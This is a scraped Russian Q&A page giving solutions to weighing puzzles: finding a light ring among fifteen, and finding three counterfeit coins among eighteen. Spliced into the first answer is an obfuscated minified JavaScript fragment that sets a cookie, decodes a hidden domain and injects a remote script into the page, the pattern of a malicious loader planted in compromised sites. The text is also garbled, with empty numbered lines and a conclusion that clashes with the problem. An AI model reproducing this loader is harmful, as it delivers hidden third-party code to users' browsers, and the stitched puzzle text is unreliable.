1)
2)
3)
4)
5)
6)

1 ВЗВЕШИВАНИЕ. откладываем 5 колец в сторону, взвешиваем оставшиеся кольца , по 5 штук на чаше весов. Если весы показывают, что одна чаша легче, то бракованное кольцо будет среди этих колец. Следующим шагом будем взвешивать именно эти 5 колец. Если весы показывают равенство чаш с десятью кольцами, значит, среди этих десяти колец нет бракованного легкого кольца и оно осталось среди тех 5-ти колец, что мы уже отложили. Значит, дальше взвешивать будем именно пятерку из этих колец. 2ВЗВЕШИВАНИЕ. Перед нами 5 колец оставшихся, откладываем одно кольцо в сторону. Взвешиваем оставшиеся 4 кольца по 2 штуки на чашу. Если Весы покажут равный вес чаш, то бракованное кольцо мы отложили уже в сторону. Значит, эксперимент закончен. Если Одна из чаш легче, то именно в ней среди двух колец находится бракованное. Эти два кольца и будем взвешивать в следующий раз. 3ВЗВЕШИВАНИЕ. У нас осталось только два кольца, взвешиваем и находим то, которое меньше. ОТВЕТ: 3 взвешиванияwindow.r r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

ответ:   за  2  взвешивания.

Пронумеруем все монеты числами от 1 до 18.

Покажем, как можно найти фальшивую монету за два взвешивания.

Сначала взвесим монеты 4, 5, 6, 7, 12, 13, 14, 15. возможны 4 случая:

1.  Все монеты весят 40 грамм, то есть среди них нет ни одной фальшивой. Тогда фальшивая монета среди оставшихся. Взвесим 1, 2, 3, 8, 9 монеты. Их вес может быть равен 22 грамма (во взвешивании участвовали 1, 2, 3 фальшивые монеты), тогда фальшивые - 1, 2, 3 монеты. Если вес равен 23 граммам (во взвешивании участвовали 8 и 9 фальшивые монеты), то фальшивые - 8, 9, 10.  Если же вес будет равен 24 грамма (участвовала только 9 монета - фальшивая), то все фальшивые - 9, 10, 11 монеты. Если же все монеты весят сколько нужно (25 грамм), то фальшивые - те, которых не взвешивали: 16, 17 и 18 монеты.  

2. Масса взвешиваемых монет (4, 5, 6, 7, 12, 13, 14, 15) равна 39 граммов, то есть среди взвешиваемых монет только одна фальшивая.  Взвесим монеты 2, 3, 4, 7, 8, 12. Здесь масса может равняться 27 г, 28 г, 29 г и 30 г, а соответствующими тройками 4-граммовых монет будут {2, 3, 4}, {7, 8, 9}, {10, 11, 12} и {15, 16, 17}.

3. Масса взвешиваемых монет равна 38 граммов, среди них уже 2 фальшивые. Теперь взвесим монеты 3, 4, 5, 6, 7, 12, и в случаях, когда весы покажут 27 г, 28 г, 29 г и 30 г, искомыми тройками будут {3, 4, 5}, {6, 7, 8}, {11, 12, 13} и {14, 15, 16} соответственно.

4. Масса взвешиваемых монет (4, 5, 6, 7, 12, 13, 14, 15) равна 37 граммам, на весах все три фальшивые монеты, которые надо найти. Теперь взвесим на весах всего лишь 4 детали:  4, 5, 6, 12. В зависимости от того, равна она 17 г, 18 г, 19 г или 20 г, искомой тройкой монет будет {4, 5, 6}, {5, 6, 7}, {12, 13, 14} или {13, 14, 15} соответственно.

Получается, Алиса может найти фальшивую монету всего лишь за два взвешивания (за одно у нее это не получится сделать).